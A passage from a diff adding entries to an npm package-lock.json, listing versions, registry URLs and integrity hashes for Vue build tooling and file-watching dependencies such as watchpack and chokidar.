"^1.1.0", + "postcss-selector-parser": "^2.0.0", + "prettier": "^1.7.0", + "resolve": "^1.4.0", + "source-map": "^0.6.1", + "vue-hot-reload-api": "^2.2.0", + "vue-style-loader": "^3.0.0", + "vue-template-es2015-compiler": "^1.6.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "vue-multiselect": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/vue-multiselect/-/vue-multiselect-2.1.0.tgz", + "integrity": "sha512-mEhApxZ6MUISGLuGDy0RF5UlAKUgG/Qq0DWYE/C+CA1h6ZszM3cHfpNFfFm2AMWLclY2SAWpY1HlQLjsw8WnvQ==" + }, + "vue-popperjs": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/vue-popperjs/-/vue-popperjs-1.6.3.tgz", + "integrity": "sha512-D0k/PxsDoCQxYykTh26t//6Uw5hk5Yl3BDlZj2nHqB2AyD0NjKCceLbuBRlPh+O59CXYJLSW2p5QveepLwkUvg==", + "requires": { + "popper.js": "^1.14.3" + } + }, + "vue-router": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/vue-router/-/vue-router-3.0.1.tgz", + "integrity": "sha512-vLLoY452L+JBpALMP5UHum9+7nzR9PeIBCghU9ZtJ1eWm6ieUI8Zb/DI3MYxH32bxkjzYV1LRjNv4qr8d+uX/w==" + }, + "vue-style-loader": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/vue-style-loader/-/vue-style-loader-3.1.2.tgz", + "integrity": "sha512-ICtVdK/p+qXWpdSs2alWtsXt9YnDoYjQe0w5616j9+/EhjoxZkbun34uWgsMFnC1MhrMMwaWiImz3K2jK1Yp2Q==", + "dev": true, + "requires": { + "hash-sum": "^1.0.2", + "loader-utils": "^1.0.2" + } + }, + "vue-template-compiler": { + "version": "2.5.16", + "resolved": "https://registry.npmjs.org/vue-template-compiler/-/vue-template-compiler-2.5.16.tgz", + "integrity": "sha512-ZbuhCcF/hTYmldoUOVcu2fcbeSAZnfzwDskGduOrnjBiIWHgELAd+R8nAtX80aZkceWDKGQ6N9/0/EUpt+l22A==", + "dev": true, + "requires": { + "de-indent": "^1.0.2", + "he": "^1.1.0" + } + }, + "vue-template-es2015-compiler": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/vue-template-es2015-compiler/-/vue-template-es2015-compiler-1.6.0.tgz", + "integrity": "sha512-x3LV3wdmmERhVCYy3quqA57NJW7F3i6faas++pJQWtknWT+n7k30F4TVdHvCLn48peTJFRvCpxs3UuFPqgeELg==", + "dev": true + }, + "vue2-daterange-picker": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/vue2-daterange-picker/-/vue2-daterange-picker-0.5.1.tgz", + "integrity": "sha512-p0y9RyI6wqqwffKM5EYgxvNM51un/fBu9hLZ/GxXVOBqTMxjDuV8mz9iUTj4p5R80lWSBwIY7GshW5RYgS8+rw==", + "requires": { + "vue": "^2.6.10" + }, + "dependencies": { + "vue": { + "version": "2.6.11", + "resolved": "https://registry.npmjs.org/vue/-/vue-2.6.11.tgz", + "integrity": "sha512-VfPwgcGABbGAue9+sfrD4PuwFar7gPb1yl1UK1MwXoQPAw0BKSqWfoYCT/ThFrdEVWoI51dBuyCoiNU9bZDZxQ==" + } + } + }, + "vuex": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/vuex/-/vuex-3.0.1.tgz", + "integrity": "sha512-wLoqz0B7DSZtgbWL1ShIBBCjv22GV5U+vcBFox658g6V0s4wZV9P4YjCNyoHSyIBpj1f29JBoNQIqD82cR4O3w==" + }, + "walkdir": { + "version": "0.0.11", + "resolved": "https://registry.npmjs.org/walkdir/-/walkdir-0.0.11.tgz", + "integrity": "sha1-oW0CXrkxvQO1LzCMrtD0D86+lTI=", + "dev": true + }, + "walker": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", + "peer": true, + "requires": { + "makeerror": "1.0.12" + } + }, + "watch": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/watch/-/watch-1.0.2.tgz", + "integrity": "sha1-NApxe952Vyb6CqB9ch4BR6VR3ww=", + "dev": true, + "requires": { + "exec-sh": "^0.2.0", + "minimist": "^1.2.0" + } + }, + "watchify": { + "version": "3.11.0", + "resolved": "https://registry.npmjs.org/watchify/-/watchify-3.11.0.tgz", + "integrity": "sha512-7jWG0c3cKKm2hKScnSAMUEUjRJKXUShwMPk0ASVhICycQhwND3IMAdhJYmc1mxxKzBUJTSF5HZizfrKrS6BzkA==", + "dev": true, + "requires": { + "anymatch": "^1.3.0", + "browserify": "^16.1.0", + "chokidar": "^1.0.0", + "defined": "^1.0.0", + "outpipe": "^1.1.0", + "through2": "^2.0.0", + "xtend": "^4.0.0" + } + }, + "watchpack": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.6.0.tgz", + "integrity": "sha512-i6dHe3EyLjMmDlU1/bGQpEw25XSjkJULPuAVKCbNRefQVq48yXKUpwg538F7AZTf9kyr57zj++pQFltUa5H7yA==", + "dev": true, + "requires": { + "chokidar": "^2.0.2", + "graceful-fs": "^4.1.2", + "neo-async": "^2.5.0" + }, + "dependencies": { + "anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "dev": true, + "requires": { + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" + } + }, + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "requires": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "chokidar": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", + "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", + "dev": true, + "requires": { + "anymatch": "^2.0.0", + "async-each": "^1.0.0", + "braces": "^2.3.0", + "fsevents": "^1.2.2", + "glob-parent": "^3.1.0", + "inherits": "^2.0.1", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "lodash.debounce": "^4.0.8", + "normalize-path": "^2.1.1", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.0.0", + "upath": "^1.0.5" + } + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "requires": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "requires": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "requires": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "dev": true, + "requires": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + }, + "dependencies": { + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "requires": { + "is-extglob": "^2.1.0" + } + } + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true + }, + "is-glob": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", + "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", + "dev": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + } + } + }, + "watchpack-chokidar2": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/watchpack-chokidar2/-/watchpack-chokidar2-2.0.0.tgz", + "integrity": "sha512-9TyfOyN/zLUbA288wZ8IsMZ+6cbzvsNyEzSBp6e/zkifi6xxbl8SmQ/CxQq32k8NNqrdVEVUVSEf56L4rQ/ZxA==", + "dev": true, + "optional": true, + "requires": { + "chokidar": "^2.1.8" + }, + "dependencies": { + "anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "dev": true, + "optional": true, + "requires": { + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" + }, + "dependencies": { + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "optional": true, + "requires": { + "remove-trailing-separator": "^1.0.1" + } + } + } + }, + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true, + "optional": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true, + "optional": true + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "optional": true, + "requires": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "chokidar": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz", + "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==", + "dev": true, + "optional": true, + "requires": { + "anymatch": "^2.0.0", + "async-each": "^1.0.1", + "braces": "^2.3.2", + "fsevents": "^1.2.7", + "glob-parent": "^3.1.0", + "inherits": "^2.0.3", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "normalize-path": "^3.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.2.1", + "upath": "^1.1.1" + } + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "optional": true, + "requires": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "optional": true, + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "optional": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "optional": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "optional": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "optional": true, + "requires": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "optional": true + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "optional": true, + "requires": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "optional": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "optional": true, + "requires": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "optional": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "fsevents": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", + "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", + "dev": true, + "optional": true, + "requires": { + "bindings": "^1.5.0", + "nan": "^2.12.1" + } + }, + "glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "dev": true, + "optional": true, + "requires": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + }, + "dependencies": { + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "optional": true, + "requires": { + "is-extglob": "^2.1.0" + } + } + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "optional": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "optional": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": 